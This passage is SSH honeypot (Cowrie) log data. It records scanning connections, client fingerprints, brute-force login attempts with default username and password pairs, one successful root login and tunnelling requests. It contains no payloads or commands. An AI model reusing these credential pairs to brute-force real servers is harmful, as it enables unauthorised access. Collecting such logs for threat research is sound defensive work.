{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:58.781317Z","src_ip":"2.57.122.96","session":"19c2c6ea6abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":47198,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ea07d1bd33a","protocol":"ssh","message":"New connection: 92.118.39.95:47198 (159.203.135.109:22) [session: 6ea07d1bd33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:00:19.648105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:00:19.653160Z","src_ip":"92.118.39.95","session":"6ea07d1bd33a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:00:19.749138Z","src_ip":"92.118.39.95","session":"6ea07d1bd33a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:00:20.034957Z","src_ip":"92.118.39.95","session":"6ea07d1bd33a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:00:21.135177Z","src_ip":"92.118.39.95","session":"6ea07d1bd33a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.115","src_port":15316,"dst_ip":"159.203.135.109","dst_port":22,"session":"59772d506b40","protocol":"ssh","message":"New connection: 80.94.95.115:15316 (159.203.135.109:22) [session: 59772d506b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:00:57.943791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:00:58.683160Z","src_ip":"80.94.95.115","session":"59772d506b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:00.152058Z","src_ip":"80.94.95.115","session":"59772d506b40","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"2wsx#EDC","message":"login attempt [root/2wsx#EDC] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:06.337955Z","src_ip":"80.94.95.115","session":"59772d506b40","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.217.17.78","dst_port":443,"src_ip":"80.94.95.115","src_port":0,"message":"direct-tcp connection request to 172.217.17.78:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:06.521507Z","session":"59772d506b40","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.217.17.78","dst_port":443,"data":"b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 172.217.17.78:443 with data b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:06.841410Z","src_ip":"80.94.95.115","session":"59772d506b40","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"80.94.95.115","src_port":0,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:07.181262Z","session":"59772d506b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:07.304412Z","src_ip":"80.94.95.115","session":"59772d506b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:24.845576Z","src_ip":"101.126.82.218","session":"c39150defc70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.115","src_port":37122,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e3283df5b92","protocol":"ssh","message":"New connection: 172.236.228.115:37122 (159.203.135.109:22) [session: 6e3283df5b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:36.580204Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:36.584494Z","src_ip":"172.236.228.115","session":"6e3283df5b92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:36.587868Z","src_ip":"172.236.228.115","session":"6e3283df5b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.115","src_port":37124,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6341aaa7082","protocol":"ssh","message":"New connection: 172.236.228.115:37124 (159.203.135.109:22) [session: a6341aaa7082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:36.708401Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\\\xff","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\\\xff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:36.713574Z","src_ip":"172.236.228.115","session":"a6341aaa7082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:36.717030Z","src_ip":"172.236.228.115","session":"a6341aaa7082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":58728,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b2cebdf956f","protocol":"ssh","message":"New connection: 92.118.39.76:58728 (10.17.0.5:22) [session: 7b2cebdf956f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:46.877040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:46.881401Z","src_ip":"92.118.39.76","session":"7b2cebdf956f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:46.985287Z","src_ip":"92.118.39.76","session":"7b2cebdf956f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:47.296851Z","src_ip":"92.118.39.76","session":"7b2cebdf956f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:01:48.402269Z","src_ip":"92.118.39.76","session":"7b2cebdf956f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":37732,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d54cbf59de9","protocol":"ssh","message":"New connection: 172.105.63.214:37732 (159.203.135.109:22) [session: 4d54cbf59de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:06.636125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:06.640567Z","src_ip":"172.105.63.214","session":"4d54cbf59de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:06.851089Z","src_ip":"172.105.63.214","session":"4d54cbf59de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vtho","password":"vtho1","message":"login attempt [vtho/vtho1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:07.274523Z","src_ip":"172.105.63.214","session":"4d54cbf59de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:08.488381Z","src_ip":"172.105.63.214","session":"4d54cbf59de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.196","src_port":63122,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c7a23eb7729","protocol":"ssh","message":"New connection: 2.57.122.196:63122 (159.203.135.109:22) [session: 0c7a23eb7729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:20.712174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:20.716341Z","src_ip":"2.57.122.196","session":"0c7a23eb7729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:20.815125Z","src_ip":"2.57.122.196","session":"0c7a23eb7729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:21.245372Z","src_ip":"2.57.122.196","session":"0c7a23eb7729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":36766,"dst_ip":"159.203.135.109","dst_port":22,"session":"86569229c4d5","protocol":"ssh","message":"New connection: 92.118.39.95:36766 (159.203.135.109:22) [session: 86569229c4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:32.046097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:32.049448Z","src_ip":"92.118.39.95","session":"86569229c4d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:32.155329Z","src_ip":"92.118.39.95","session":"86569229c4d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:32.471269Z","src_ip":"92.118.39.95","session":"86569229c4d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:02:33.577935Z","src_ip":"92.118.39.95","session":"86569229c4d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":49020,"dst_ip":"159.203.135.109","dst_port":22,"session":"394ddc581791","protocol":"ssh","message":"New connection: 2.57.122.96:49020 (159.203.135.109:22) [session: 394ddc581791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:08.048897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:08.053010Z","src_ip":"2.57.122.96","session":"394ddc581791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:03:08.157903Z","src_ip":"2.57.122.96","session":"394ddc581791","protocol":"ssh"}
